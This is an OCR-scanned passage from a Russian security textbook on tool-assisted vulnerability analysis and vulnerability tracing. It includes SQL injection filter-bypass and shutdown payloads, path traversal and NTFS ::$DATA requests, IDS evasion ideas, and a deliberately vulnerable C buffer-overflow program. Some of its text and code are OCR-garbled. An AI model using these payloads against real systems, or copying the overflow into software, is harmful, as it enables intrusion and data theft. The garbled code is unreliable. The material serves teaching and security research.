последовательности двух обратных слешей (\\). В этом случае первый компонент определяет хост, а второе — имя
268 Глава 14. Инструментальный анализ сетевого ресурса. Интерфейс API файловой системы попытается подключиться к сетевому ресурсу по данным текущего пользователя (которые могут быть перехвачены). о Имя файла также может начинаться со специальной последовательности символов \\?\, которая означает, что имя файла задается в формате Unicode и может превышать обычные ограничения длины, накладываемые API файловой системы. о Имя файла может начинаться с последовательности символов \\?\UNC, что также приводит к срабатыванию упоминавшегося ранее механизма подключений Microsoft Share. о Имя файла может начинаться с последовательности символов \\.\PHYSICAL- DRIVE<n>, где <п> — индекс открываемого физического диска (начиная с 0). При этом физический диск открывается для низкоуровневого доступа. о Имя файла может начинаться с последовательности символов \\.\pipe\<pipename>. В этом случае открывается именованный канал <pipename>. о Имя файла может содержать двоеточие (после буквы диска), обозначающее альтернативный поток данных в файловой системе NTFS. Фактически он рассматривается как отдельный файл, отсутствующий в таблицах каталогов. Файловый поток :$DATA зарезервирован для нормального содержимого файла. о В качестве имен каталогов могут указываться две точки (..) и одна точка (.). Первая обозначает переход к родительскому каталогу, вторая — текущий каталог. Существует немало других, столь же экзотических исключений. Мораль: если не позаботиться о проверке входных данных, могут возникнуть проблемы, потому что базовый интерфейс API с большой вероятностью реализует режимы работы, которых вы не учли. Следовательно, с точки зрения нападающего будет логично разобраться в этих режимах и попытаться воспользоваться ими для обхода защитных механизмов процедур проверки вводимых данных. Среди реальных уязвимостей, обусловленных подобными проблемами, стоит отметить дефект Unicode-символов в IIS, дефект двойного декодирования IIS, проблему CDONTS.NewMail SMTP, синтаксис PHP http://имя_файла и многие другие. Если уж на то пошло, то именно проверка входных данных является настоящей причиной, по которой переполнения приносят столько вреда. Входные данные функции интерпретируются в некотором базовом контексте. В случае переполнения стека данные, выходящие за границу буфера, интерпретируются как часть стекового кадра, содержащая данные, адрес возврата, VPTR, адреса обработчиков исключений и т. д. То, что в одной грамматике должно интерпретироваться как синтаксическая конструкция (фраза), в другой грамматике интерпретируется иначе. Почти все атаки можно рассматривать как попытки создания синтаксических конструкций, действительных в нескольких грамматиках. Такой подход имеет ряд интересных последствий в области теории информации и теории кодирова-
Типичные архитектурные дефекты 269 имя: если обеспечить отсутствие общих конструкций между двумя грамматиками, возможно, удастся гарантировать невозможность атак, основанных на преобразованиях двух грамматик. Идея интерпретации контекстов вообще весьма полезна, особенно если объект iiiяки поддерживает различные сетевые протоколы — как веб-сервер, который пересылает электронную почту или передает данные веб-службам с использо- панием громоздкого формата XML. Проблемы мест дисбаланса Как правило, разработчики склонны применять методы защиты во всем спек- i ре режимов работы, используя такие приемы, как проверка длины, проверка форматных строк, другие разновидности проверки входных данных. Попробуй- \с выделить место дисбаланса и посмотрите, в чем состоит его специфика — это о «личный способ выявления проблем. Может быть, один из HTTP-заголовков, поддерживаемых веб-сервером, отличается по длине от остальных заголовков, или сервер необычно реагирует на включение некоторого символа во входные данные. А может быть, при вызове недавно реализованного веб-метода в Apache изменяются сообщения об ошибках. Идентификация мест дисбаланса поможет выявить те места продукта, которые защищены хуже других. Проблемы различия между аутентификацией и авторизацией Аутентификацией называется процесс проверки подлинности субъекта, и ничего более. В процессе авторизации определяется, разрешен ли данному субъекту доступ к некоторому ресурсу. В многих системах аутентификация проводится весьма тщательно, а вот авторизация отходит на второй план. Еще хуже, когда видимая связь между этими двумя понятиями исчезает — если удастся найти альтернативный путь к данным, вы сможете их использовать. В ряде случаев это приводит к интересным случаям расширения привилегий, как было в примере с процессом extproc в Oracle. Другими примерами служат дефект Lotus Domino (www.nextgenss.com/adviso- ries/viewbypass.txt), дефект Oracle mod_plsql с обходом аутентификации (www. nextgenss.com/papers/hpoas.pdf — поищите по словам authentication by-pass) и уязвимость htaccess в Apache (www.omnigroup.com/mailman/archive/macosx- admin/2001-june/012143.html). Похожие проблемы встречаются во многих веб-приложениях. Поскольку протокол HTTP в принципе принадлежит к числу протоколов без поддержки состояния, для сохранения информации о состоянии аутентификации (то есть для сохранения идентификатора сеанса) применяется специальный механизм. Если нападающему удастся угадать или продублировать идентификатор сеанса, он сможет обойти счадию аутентификации
270 Глава 14. Инслрумошальный анализ Проблемы в самых очевидных местах Если поиск ошибок зашел в тупик, не бойтесь искать в самых очевидных мес« тах. В частности, причиной огромного количества ошибок являются слишком длинные имена файлов; вот лишь несколько примеров: о www.netxtgenss.com/advisories/sambar.txt; о http://otn.oracLe.com/deploy/security/pdf/2003Alert58.pdf; о www.nextgenss.com/advisories/ora-unauthrm.txt; о www.nextgenss.com/advisories/webadmin_altn.txt; о www.nextgenss.com/advisories/ora-isqlplus.txt; о www.nextgenss.com/advisories/steel-arrow-bo.txt; о http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0891; о www.kb.cert.org/vuls/id/322540. В общем случае фаза аутентификации протокола является хорошим объектом для поиска переполнения и дефектов форматных строк. Причина очевидна: если удастся перехватить управление до проведения аутентификации, для проникновения через защиту сервера не потребуются имя пользователя и пароль. Пара классических дефектов удаленного получения root-привилегий без аутентификации: дефект hello, обнаруженный Дэвидом Айтелом (http://cve.mitre org/, cgi-bin/cvename.cgi?name=CAN-2002-1123) и дефекты SQL-UDP, обнаруженные Дэвидом Личфилдом (www.nextgenss.com/advisories/mssql-udp.txt). Обход процедур проверки входных данных и обнаружения атак Хорошо разбираться в процедурах проверки входных данных и уметь их обходить — абсолютно необходимые навыки для любого специалиста в области безопасности. Следующий краткий список поможет вам понять, где часто допускаются ошибки, а также научит вас полезным приемам обхода процедур проверки. Удаление недопустимых данных Пытаясь ограничить (или обнаружить) возможные атаки, разработчики часто используют неправильные регулярные выражения Распространенный подход основан па удалении заведомо недопустимых данных, - например, для защиты от атак SQL Injection можно было бы написать фильтр для удаления зарезервированных слов языка SQL, таких как SELECT, UNION, WHERE, FROM и т. д. Например: ' union select папе, password from sys user$- Эга входная строка после удаления превращаемся в следующую: ' name, password sys userS-
Обход процедур проверки входных данных и обнаружения атак 271 Происходит ошибка. Но иногда ошибку удается обойти рекурсивным включением данных: ' uniunionon selselected name, password frfromom sys.user$- Каждое недопустимое слово включается внутри самого себя. При удалении ми утренних недопустимых слов внешние слова сливаются, и мы получаем именно то, что требовалось. Естественно, такое решение работает только в том случае, если недопустимые данные состоят как минимум из двух разных символов. Использование альтернативных кодировок Наиболее очевидный способ обхода процедур проверки вхо/дных данных основан на использовании альтернативных кодировок. Например, может оказаться, что поведение веб-сервера или веб-приложения зависит от кодировки данных и формах. Хорошим примером служит спецификатор кодировки Unicode %u и IIS. Следующие две конструкции считаются эквивалентными: о www.example.com/%c0%af; о www.example.com/%ucOaf. Другой хороший пример — обработка пробельных символов. Иногда оказывается, что приложение интерпретирует в качестве символов-ограничителей только пробел ЕЯ, забывая про символы табуляции, возврата каретки и перевода строки. В переполнении TZ_0FFSET системы Oracle пробел считается признаком завершения спецификатора timezone, а символ табуляции — пет. Мы написали программу для использования дефекта, но у нас возникли проблемы с передачей параметров команде. Стоило заменить все пробелы символами табуляции, и все заработало нормально. Еще одним классическим примером служит API-фильтр, который пытается ограничить доступ к виртуальному каталогу IIS на основании некоторых проверок. Этот фильтр включается при запросе к каталогу /downloads (www.example. com/downloads/hot_new_file.zip). Естественно, первой попыткой обойти фильтр будет строка http //www example com/Downloads/hot_new_file zip Попытка оказывается неудачной. Пробуем другой вариант: http //www example com/^64ownloads/hot_new_file zip На этот раз фильтр удается обойти. Нападающий получает полный доступ к каталогу downloads без всякой аутентификации. Файловые операции Хогя некоторые методы, представленные в этом разделе, относятся только к Windows, на платформах Unix обычно также удается найти нечто подобное. Идея заключается в том, чтобы «обмануть» приложение и заставить его: о поверить в то, что необходимая строка присутствует в пути к файлу; о поверит]> в то? что недопустимая строка не присутствует в пути к файлу;
л. щ с I лава 14. инструмонтальный анализ о выполнить непредусмотренную операцию с файлом, если обработка файл^ базируется на его расширении. ! Присутствие необходимой строки в пути к файлу С первым случаем все просто. В большинстве ситуаций, где можно задать ими; файла, также можно задать имя каталога. Однажды в процессе анализа мы столкнулись с ситуацией, когда сценарий веб-приложения предоставлял файлы из заданного постоянного списка. Для этого сценарий проверял, что в параметре file_path присутствует одно из следующих имен: о data/foo.xls; о data/bar.xls; о data/wibble.xLs; о data/wobble.xls. Типичный запрос мог выглядеть так: http //www example com/getfile?file_path=data/foo xls Но как правило, когда файловые системы встречает спецификатор пути к родительскому каталогу, они не проверяют, существуют ли все указанные каталоги. Из-за этого нам удалось обойти проверку при помощи запросов вида http //www.example com/getfile?file_path=data/foo xls/../ ./ /etc/passwd Отсутствие запрещенных строк в пути к файлу С этой ситуацией дело обстоит чуть сложнее. Предположим, упомянутый ранее сценарий разрешает обращение к любому файлу, но запрещает использование символов, обозначающих родительский каталог (/../), а также доступ к каталогу с закрытыми данными. Для этого сценарий проверяет, не входит ли в параметр file_path строка data/private Защита обходится запросом вида http //www example.com/getfile?file_path=data/ /private/accounts xls Как известно, спецификатор /./ в контексте пути ни на что не влияет. Непредусмотренная обработка файла по его расширению Предположим, администратор веб-сайта решил запретить загрузку электронных таблиц с сайта. Для этого он решил применить фильтр, запрещающий любые значения параметра file_path, завершающиеся подстрокой .xls. Попытка ввести следующий запрос оказывается безуспешной: http //www example com/getfile?file_path=data/foo xls/ /private/accounts xls Тогда попытаемся ввести такой запрос: http //www example com/getfile?file_path=data/ /private/accounts xls Снова неудача. Среди интересных особенностей файловой системы NTFS в Windows NT можно выделить поддержку альтернативных потоков данных внутри файлов. Аль-
Обход процедур проверки входных данных и обнаружения атак 273 И'рпатпвный поток обозначается символом двоеточия (:) в конце имени файла, мосле которого следует имя потока. Эта концепция позволяет получить доступ к файлу. Достаточно ввести следующий запрос, и данные будут успешно получены: hUp://www example.com/getfi1e?fi1e_path=data/ /private/accounts.xls::$DATA Де/ю в том, что поток данных файла «по умолчанию» называется ::$DATA. To ген) запрашиваются те же самые данные, но в новом запросе имя файла не заканчивается расширением .xls, поэтому приложение разрешает запрос. Чтобы убедиться в этом, выполните следующую команду на компьютере с NT (для тома NTFS): echo foobar > foo txt На тем выполните команду more < foo txt .$DATA Появляется строка foobar. Эта методика не только позволяет сбивать с толку системы проверки входных данных, но и создает отличный механизм маскировки данных. 11есколько лет назад в 1IS существовал дефект, который позволял получить исходный код ASP-страниц запросом следующего вида: http-//www example com/foo asp $DATA Основа этого дефект та же. Другой трюк, связанный с расширениями файлов в Windows, — добавление одной или нескольких завершающих точек в расширение. В этом случае запрос к сценарию принимает вид http //www example com/getfile?file_path=data/ /private/accounts xls В некоторых случаях можно получить те же данные. Иногда приложение думает, что файл обладает пустым расширением; в других случаях предполагается расширение .xls. Обход сигнатур обнаружения атак Работа большинства систем обнаружения вторжений основана на сигнатурном распознавании атак. В контексте внедряемого кода было опубликовано немало информации по поводу nop-эквивалентпости, чем не менее вспомним основные принципы, потому что они действительно важны. При написании внедряемого кода команды, предназначенные для эксплуатации уязвимости, можно разделить самыми разнообразными командами, которые ничего не делают (количество возможных вариантов почти бесконечно). Здесь существенно то, что эти команды вовсе не обязаны вообще ничего не делать — они просто не делают ничего такого, что относится к эксплуатации уязвимости. Таким образом, во внедряемый код можно вставить сложную серию манипуляций со стеком, перемежая их командами, непосредственно использующими уязвимость.
274 Глава 14. Инструментальный анализ Количество способов решения конкретной задачи во внедряемом коде (скажем, занесения параметров в стек или их загрузки в регистры) тоже почти бесконечно. Не так уж трудно написать генератор, который получает одну форму ассемблерного кода и выдает функционально тождественный код, не содержащий общих последовательностей команд. Борьба с ограничениями длины В некоторых ситуациях параметр, передаваемый приложению, усекается до фиксированной длины. Обычно это делается для защиты от переполнения буфера, хотя иногда усечение применяется в веб-приложениях как общий механизм защиты от атак SQL Injection или выполнения команд. Существует целый ряд стандартных приемов, применяемых в подобных ситуациях. Замена данных В зависимости от природы данных иногда удается использовать некоторую форму входных данных, расширяемых внутри приложения. Например, в большинстве веб-приложений кавычки кодируются последовательностью из шести символов: &quot. Хорошим кандидатом для подобных подстановок является любой символ, который с большой вероятностью будет особым образом обрабатываться во входных данных, например, апостроф, обратный слеш, вертикальная черта, знак доллара. Если приложению можно передавать последовательности UTF-8, попробуйте передавать слишком длинные последовательности, которые могут интерпретироваться как один символ. Возможно, вам повезет, и ваше приложение будет интерпретировать все символы за пределами набора ASCII как 16-разрядные. Тогда можно будет вызвать переполнение, передав более длинные символы (впрочем, это зависит от способа вычисления длины строки). Для кодировки символа точки (.) в URL используется последовательность %2е. В то же время последовательности %f0%80%80%ae и %fc%80%80%80%80%ae также являются допустимыми представлениями символа точки. Отделение экранируемых символов Самое очевидное применение этой методики встречается в атаке SQL Injection, хотя с учетом того, что говорилось ранее об ошибках приведения к каноническому виду, можно придумать и другие интересные варианты ее применения везде, где требуется разделение или экранирование (escaping) данных. Суть приема состоит в том, что за счет экранирования и усечения данных иногда удается вывести данные за пределы ограничиваемой области. Очевидный пример встречается в атаке типа SQL Injection: имеется приложение, в котором апострофы экранируются удвоением (символ ' заменяется символами "). Приложению передаются имя пользователя и пароль; длина имени ограничивается (допустим) 16 символами, длина пароля — тоже 1E символами.
Обход процедур проверки входных данных и обнаружения атак 275 Следующая комбинация имени и пароля приведет к выполнению команды shutdown, завершающей работу SQL Server: Username aaaaaaaaaaaaaaa' Password ' shutdown Приложение пытается экранировать апостроф в конце имени пользователя, но строка усекается до 16 символов, и «лишний» апостроф теряется. В поле пароли, начинающееся с апострофа, включается SQL-код. Итоговый запрос может им глядеть так: select * from users where username='aaaaaaaaaaaaaaa'' and password^'" shutdown Фактически имя пользователя в запросе превратилось в последовательность символов aaaaaaaaaaaaaaa' and password=' выполняется оставшийся SQL-код, и работа SQL Server завершается. Н общем случае эта методика применима к любым данным, ограниченным по длине и содержащим экранированные последовательности. Она часто встречается в мире Perl, потому что Perl-приложения часто обращаются к внешним сценариям. Пошаговая запись кода Даже если возможность эксплуатации уязвимости ограничивается записью в память единственного значения, вы сможете загрузить и выполнить внедряемый код. При нехватке места (допустим, при переполнении 32-байтового буфера, хотя этого более чем достаточно для execve или winexec) можно организовать выполнение постороннего кода, записывая его по частям в некоторую область памяти. После того как операция записи будет выполнена несколько раз, внедряемый код целиком оказывается в некоторой области памяти, после чего ему передается управление (поскольку его местонахождение известно). Общий принцип напоминает метод обхода псисполняемого стека при эксплуатации дефектов форматных строк. Этог метод может сработать даже для переполнения в куче. Многократное использование примитива «запись любого значения по любому адресу» строит код в памяти, после чего готовому коду передается управление посредством замены указателя на функцию, адреса обработчика исключения, VPTR и т. д. Внеконтекстные ограничения длины Иногда, если ограничение длины применимся к каждому экземпляру по отдельности, некоторый объект данных удается передать несколько раз, а затем отдельные объекты данных объединить в итоговый объект большей длины. Хорошим примером может послужить поле заголовка ПТТР-хоста в контексте технологий Web Intrusion PicvenUon. На практике такие поля часто обрабатываются по отдельности. Например, Apache после обработки обьедппяет заголовки хостов в один длинный заюловок, фактически обходя ограничение длины. Нечто похожее происходит и в US.
276 Глава 14. Инсгрумомтальный анализ Прием может использоваться с любым протоколом, в котором объекты данных идентифицируются по именам, будь то параметры SMTP и HTTP, поля форм и переменные cookie, атрибуты HTML- и XML-тегов, а также (практически) любой механизм вызова функций с передачей параметров по имени. Дефект SN MP-демон a DOS в Windows 2000 Дефект SNMP-демона DOS в Windows 2000 не особенно интересен, однако он хорошо иллюстрирует принципы, лежащие в основе инструментального анализа. Соответствующая статья Microsoft Knowledge Base находится по адресу http://support.microsoft.com/default.aspx?scid=kb;en-us;Q296815, а рекомендации NGS — по адресу www.nextgenss.com/advisories/snmp_dos.txt. Однажды во время тестирования реализации процедуры обхода SNMP (SNMP walk) мы решили посмотреть, не удастся ли вызвать переполнение в SNMP-де- моне от Microsoft. Все началось как обычно: мы подключили отладчик, RegMon и FileMon и узнали, какие ресурсы открыл SNMP-демон, при помощи HandleEx. Для отслеживания ресурсов, используемых процессом SNMP, использовался стандартный системный монитор (performance monitor). Мы провели несколько быстрых тестов со структурами BER, имевшими недопустимый формат (несоответствие длин, и т. д.). Ничего особенного не произошло; тогда мы попробовали поискать идентификаторы SNMP-объектов @ID) по всему дереву. Снова ничего интересного. Но вернувшись в системный монитор, мы заметили, что демон выделил 30 Мбайт памяти. При следующем запуске процедуры обхода SNMP процесс снова выделил большой блок памяти. Тогда мы тщательно проанализировали реализацию процедуры обхода SNMP, внимательно наблюдая за объемом памяти, выделяемой процессом SNMP. Оказалось, что проблема возникает при запросе параметров принтеров в блоке MIB LanMan. Выяснилось, что для одного SNMP-запроса (то есть одного UDP-пакета!) выделяется целых 30 Мбайт. Направив несколько тысяч пакетов, нападающий может очень легко (и быстро) израсходовать всю свободную память системы. Работа сервера полностью парализуется — новые процессы не запускаются, новые окна не создаются, а попытки войти в систему (например, для остановки SNMP- службы или отключения самого сервера) заканчиваются неудачей, потому что Microsoft GINA (Graphical Identification and Authentication) — библиотеке DLL, управляющая процессом входа — не хватает памяти для создания необходимых диалоговых окон. Остается только выключить питание сервера. Итак, в данном случае дефект был выявлен благодаря тщательному мониторингу данных о расходовании памяти в целевом процессе. Если бы мы не следили за затратами памяти, дефект не был бы обнаружен. Обнаружение DOS-атак Предыдущий пример демонстрирует превосходную методику поиска DOS- атак — отслеживание данных об использовании ресурсов. Как правило, утечка
Дофокт SQL-UDP 277 ресурсов в той или иной форме присутствует в любом сложном приложении. Такие ошибки достаточно легко выявляются инструментальным анализом, и без него их выявить почти невозможно. Как же организовать сбор данных? И Linux достаточно полезную информацию можно получить в иерархии ргос (man ргос) — открытые процессом файлы (fd), отображаемые блоки памяти (maps), объем виртуальной памяти в байтах (stat/vsize), и т. д. И Windows дело обстоит несколько иначе. Стандартный диспетчер задач поможет составить общее представление о затратах ресурсов, так как набор полей на пкладке Процессы выбирается пользователем. Полезно отслеживать такие пока- ,in гели, как число дескрипторов, расходование памяти и объем виртуальной памяти. Для более точного мониторинга ресурсов процесса (если вы действительно серьезно подходите к инструментальному анализу) лучше воспользоваться сис- к'мным монитором Windows. Программа запускается загрузкой файла perfmon. msc в Windows 2000 или из меню Администрирование панели управления. Системный монитор — отличный источник числовой информации о процессах. Программа позволяет строить графики по всем показателям, выбранным для процесса. Вместо набора чисел вы получаете визуальное представление изменений затрат ресурсов во времени, по которому удобнее отслеживать закономерности. большинство счетчиков, которые могут оказаться полезными при тестировании, — счетчик дескрипторов, счетчик потоков, статистика использования памяти — находятся в объекте Процесс (Process). Отслеживание этих показателей упрощает поиск утечки ресурсов и выявление DOS-атак. Дефект SQL-UDP Дефект SQL-UDP использовался червем Slammer. Рекомендации NGS по этому поводу находятся по адресу www.nextgenss.com/advisories/mssql-udp.txt. Некий клиент обратился в группу NGS с просьбой проанализировать различные протоколы, поддерживаемые SQL Server. Дело в том, что клиент наблюдал UDP-трафик в сети и осознавал возможность фальсификации UDP-пакетов. Беспокоясь о последствиях этого странного протокола на базе UDP для безопасности системы, клиент хотел четко определить, нужно блокировать этот трафик или нет. Группа приступила к анализу протокола. На основании информации, опубликованной Чипом Эндрюсом (Chip Andrews) в отношении его превосходной утилиты sqlping, группа знала, что при отправке однобайтового UDP-пакста со значением 0x02 SQL Server выдает дополнительную информацию о протоколе. Эта информация может использоваться для подключения к разным копиям SQL Server, работающим на хосте. Таким образом, логично было для начала посмотреть, что происходит при использовании других префиксных байтов пакета @x00, 0x01, 0x03 и т. д.). Группа подключила к разным копиям SQL Server диагностические программы FileMon, RegMon, отладчиков и т. д , и приступила к генерированию запросов
278 Глава 14. Иисфумошальный анализ Дэвид заметил (при помощи RegMon), что если первый байт UDP-пакета paul 0x04, SQL Server пытается открыть раздел реестра вида i HKLM\Software\Microsoft\Microsoft SQL Seryer\<coffep)KHMoe_naKeTd>\HSSQlSer\/er\Current\lers'\on Естественно, следующим шагом стало присоединение большого количеств байтов к пакету. И действительно, в SQL Server обнаружилось тривиальное \\щ реполнение стека. На этой стадии стало очевидно, что клиенту следует серьезно подумать о бл<1 кировке UDP-порта 1434 в сети. На весь анализ ушло не более 5 минут, и груц| па продолжила работу. При других значениях начальных байтов также наблюдалось интересное noiid дение. Значение 0x08 приводило к переполнению кучи, когда за начальным баЙ< том следовала длинная строка, двоеточие и число. Значение 0x0а заставляли SQL Server отвечать пакетом, содержащим единственный байт 0x0а, — таким образом, появилась возможность фактически заблокировать доступ к сети ио< средством фальсификации адреса отправителя одной копии SQL Server и от правке пакета с байтом 0x0а другой копии SQL Server. Итоги Если обратиться к социальным аспектам поиска уязвимостей, у дефекта SQL-UDP проявилась одна пугающая особенность — та скорость, с которой' было обнаружено переполнение стека. На весь анализ потребовалось каких-то пять минут. Очевидно, что если мы смогли найти дефект так быстро, то другие, возможно, менее ответственные люди, также найдут его и воспользуются им для взлома системы. Информация об ошибке была передана в Microsoft но обычным каналам, и с тех пор и Microsoft, и наша группа настойчиво рекомендуют организациям установить «заплатку» и заблокировать UDP-порт 1434 (порт используется только в том случае, если клиент не уверен в правильном способе подключения к установленной копии SQL Server). К сожалению, многие организации не обратили внимания на предупреждение, и ровно через полгода после выхода «заплатки» некая (до сих пор неизвестная) личность написала и запустила червя Slammer. Червь вызвал основательные заторы в Интернете и прибавил хлопот администраторам тысяч организаций. На самом деле червь Slammer мог бы нанести еще больше вреда, и весьма печально, что люди пренебрегают элементарной защитой. Трудно представить, что могли бы делать специалисты в области безопасности для предо!вращения подобных проблем в будущем. Во всех широко известных случаях - Slammer, Code Red (на базе дефекта .ida IIS-ссрвера. обнаруженного одним из соавторов книги Райли Хасселом (Riley Hassel)), Nimda (тот же дефект) и Blaster (червь на базе дефекта RPC-DCOM, обнаруженного группой «The Last Stages of Delirium») — разработчики основательно поработали с производителями, чтобы до публикации данных об уязвимое]ях стали доступными «заплатки» и исчерпывающая информация о защите. И тем не менее в каждом из перечисленных слу-
Июги 279 член какому-то негодяю удалось причинить немалый ущерб, создав и запустив чгрия, эксплуатирующего дефект. Km да происходит нечто подобное, хочется отказаться от поиска дефектов про- фпммиого обеспечения, но альтернатива гораздо хуже. Аналитики не создают дефекты, они их ищут. Компания Microsoft в 2002 году выпустила 72 «заплатки» с ппемы безопасности, часть из которых была предназначена для исправления нескольких ошибок. На начало 2002 года во всех системах Windows существо- iu./n> свыше 100 дефектов, часть из которых позволяла нападающему полностью и.шгь под контроль компьютер. Пользователям Linux не стоит полагать, что их это не касается. По данным ме- иблзы ICAT в Linux за тот же период было выявлено 109 дефектов. Хорошими примерами проблем Linux могут послужить дефекты SSH и SSL в Apache, л 1лкже дефект фрагментарной кодировки (chunked-encoding). Даже если вы являетесь пользователем Macintosh, это не значит, что вы можете не обращать внимания ни на систему Windows с ее вирусами и червями, ни на систему Linux с дефектами SSH и SSL и многочисленными проблемами расширения привилегий. Количество людей, активно занимающихся поиском дефек- кж на платформе Мае и публикующих информацию о них, в настоящее время крайне мало; но если никто не ищет дефекты, это не значит, что их нет. Пожи- ием — увидим. Конечно, можно представить себе мир, в котором никто не занимается выявлением дефектов безопасности — то ли по юридическим причинам, то ли из-за лени. Однако от этого опасные дефекты никуда не денутся. Они будут ждать loro, кто захочет взять наши компьютеры и сети под свой контроль. Из-за отсутствия информации никто не сможет рассчитывать на защиту от преступников, правительств, террористов и даже конкурентов. Аналитики находят дефекты, разработчики их исправляют, и тем самым обеспечивается хотя бы некоторая степень защиты. В сущности, поиск уязвимостей — это исследование программ, работающих на нашем компьютере. Исследователи не создают дефекты там, где их не было; они всего лишь показывают, насколько уязвимы программы, которые работают в наших сетях (и сетях наших клиентов). Хочется надеяться, что книга дополни- 1ельно осветит эту тему и поможет вам разобраться в существующих проблемах.
ГЛАВА 15 Трассировка уязвимостей Процесс выявления уязвимостей может быть долгим и в высшей степени ну/Н ным делом. Для экономии времени и повышения эффективности можно разра« ботать инструментарий, специально предназначенный для поиска дефектов в целевых программных пакетах. В него должны войти программы и техноло* гии, которые бы позволяли проанализировать исходный код приложения и откомпилированный машинный код, а также средства анализа приложения на стадии исполнения. В последнюю категорию входят как технологии агрессивного зондажа (фаззинга, которому посвящена глава 12), так и средства пассивного мониторинга. Каждый инструмент такого рода позволяет анализировать механизмы защиты приложения под своим углом зрения. Технология каждого инструмента обладает как достоинствами, так и недостатками. Объединяя несколько технологий, мы сможем избавиться от недостатков, сохранив сильные стороны. Во втором квартале 2001 года началась работа над проектом, призванным объединить несколько технологий в один аналитический комплекс EVE. У каждой технологии при использовании отдельно от других имеются свои недостатки, например, анализ машинного кода чрезвычайно эффективен для поиска отдельных дефектов, но, к сожалению, проверить возможность практической эксплуатации выявленных дефектов без работающей программы крайне сложно. Построив систему, способную анализировать машинный код работающих приложений, мы сможем отслеживать процесс исполнения, выясняя, по какому сценарию удается достичь потенциальной уязвимости. Фактически новая технология открывает возможность трассировки уязвимостей, отсюда и ее название. Эта гибридная технология объединяет анализ машинного кода, отладку, трассировку потоков и перезапись образов (image rewriting). С ее помощью удалось и выявить некоторые ставшие хорошо известными уязвимости и сейчас она занимает постоянное место в нашем инструментарии. В этой главе рассмотрены все компоненты технологии трассировки уязвимостей. Материал включает пошаговое описание процессов проектирования и реализации простой системы трассировки уязвимостей, обеспечивающей пассивный анализ приложения с целью поиска простой уязвимости переполнения буфера.
Уязвимая программа 281 Общие сведения ( Овременные технологии анализа (такие как анализ исходных текстов и анализ MiiiiiMiiiioro кода) ориентированы на работу с приложениями, хранящимися на /пике. Компаниям, занимающимся разработкой программного обеспечения, эти н'хнологии предоставляют большие преимущества при выявлении потенциальных уязвимостей. Система анализа исходных текстов и двоичного анализа может выявить уязвимости, «спрятанные» глубоко внутри кода приложения, но ома крайне редко оказывается в состоянии ответить на вопрос, не предотвращают ли проверки системы безопасности возможность эксплуатации этой уязвимости. Например, анализирующее приложение может определить, используются ли в приложении небезопасные функции вроде strcpy, но при этом ему почти наверняка не удастся узнать, как именно проверяются входные данные, передаваемыми функции strcpy, то есть фактически узнать, можно ли на практике эксплуатировать уязвимости функции strcpy. Разработчики, в которых политика безопасности находится на хорошем уровне, ликвидируют потенциальные дефекты в своих приложениях даже тогда, когда возможность их эксплуатации не доказана. К сожалению, сторонним аналитикам довольно трудно убедить компанию в необходимости ликвидации потенциальных уязвимостей ее продуктов. Как правило, аналитики должны выявить дефект в продукте и представить формальный процесс или программу, при виде которых руководство компании осознает необходимость исправления дефекта. По этой причине обычно приходится не только выявлять уязвимость и продукте, но и описывать сценарий, приводящий к данной уязвимости. Перехватывая управление в уязвимых точках программы, мы следим за их использованием и сохраняем необходимую информацию — такую, как путь в программном коде до уязвимой функции. В результате анализа кода приложения мы определяем, какие проверки выполняются с аргументами, передаваемыми этой функции. Уязвимая программа В представленном в этом разделе примере продемонстрирована проблема переполнения буфера, характерная для многих современных продуктов. Программист предполагает, что функция IstrcpynA копирует не более 15 байт (USERMAXSIZE-1) в приемный буфер. К сожалению, разработчик допустил простую ошибку, неверно определив длину, в результате в приемный буфер может быть скопировано больше данных, чем предполагалось. Многие разработчики используют директиву define для определения длины различных данных. Нередко при этом в приложение непреднамеренно вносятся серьезные уязвимости. В следующем примере в функции check_username присутствует уязвимость переполнения буфера. Максимальная длина копируемого блока, переданная IstrcpynA, оказывается больше длины приемного буфера. Поскольку переменная
282 Глава 15. Трассировка уязиимостой buffer содержит всего 16 бант, оставшиеся 16 байт записываются за концом буфера, заменяя сохраненные значения ЕВР и EIP в предыдущем кадре стека: /* Уязвимая программа (vuln с)*/ #i nclude <windows h> #include <stdio h> #define USERMAXSIZE 32 #define USERMAXLEN 16 int check_username(char *username) { char buffer[USERMAXLEN]; lstrcpynA(buffer. username, USERMAXSIZE-1); /* Прочие проверки username */ return(O), } int mann(int argc. char **argv) { if(argc != 2) { fpnntf(stderr. "Usage- %s <buffer>\n". argv[0]). exit(-l). } while(l) { check_username(argv[l]). Sleep(lOOO). } return(O), } Многие разработчики используют в своей работе вспомогательные средства вроде Visual Assist. Иногда в этих средствах разработки реализованы такие возможности, как автоматическое завершение. Вероятно, в приведенном примере программист начал вводить USERMAXLEN, а среда разработки предложила ему строку USERMAXSIZE. Программист решил, что ему было предложено правильное определение, и нажал клавишу Tab. Сам того не подозревая, он создал серьезную уязвимость в программе. Злоумышленник может передать более 15 байт в аргументе username; это приведет к замене данных приложения в стеке, и как следствие - к перехвату управления. Как проанализировать программу на наличие таких уязвпмостей? Если в приложении используется встроенный препроцессор пли система анализа исходных тексюв работает с кодом, уже прошедшим препроцессорпук) обработку, то технология анализа исходных текстов может выявить дефект. Система анализа
Уязвимая программа 283 машинного кода пойдет по другому пути: сначала она распознает факт использования потенциально уязвимой функции, а затем сравнит размер приемного буфера и предельную допустимую длину, переданную функции. Если предельная длина превышает размер приемного буфера, система анализа машинного кода сообщает о потенциальной уязвимости. Л что, если приемный буфер находится в блоке, выделенном в куче? Поскольку объекты в куче создаются только во время выполнения программы, определение размера блока чрезвычайно затрудняется. Гибридная система анализа исходных текстов и машинного кода может попытаться проанализировать код приложения, найти команду выделения блока и сопоставить ее положение с потенциальным ходом выполнения. Данный способ является рекомендуемым решением для большинства разработчиков гибридных систем анализа. К сожалению, рекомендуемый и реализованный — далеко не одно и то же. В принципе проблему можно решить просмотром заголовка блока в куче и последующим обходом списка блоков. Многие компьютеры также создают собственные кучи. Если мы захотим проанализировать приложение, построенное конкретным компьютером, придется включать в систему анализа поддержку соответствующего формата кучи. Обратите внимание па использование функции IstrcpynA, не входящей в число стандартных С-функций времени исполнения. Эта функция реализована в системной библиотеке DLL от Microsoft и помимо состава аргументов имеет совершенно иную сигнатуру, чем ее дальний родственник — функция strncpy. Каждая операционная система создает собственные версии основных С-функций времени исполнения, в большей степени отвечающие ее специфике. Технологии анализа исходных текстов и машинного кода краппе редко обновляются для поддержки этих «сторонних функций» Данная проблема не может быть напрямую решена трассировкой уязвимое!ей. Мы упомянули о пей только для того, чтобы выделить еще одно обстоятельство, о котором часто 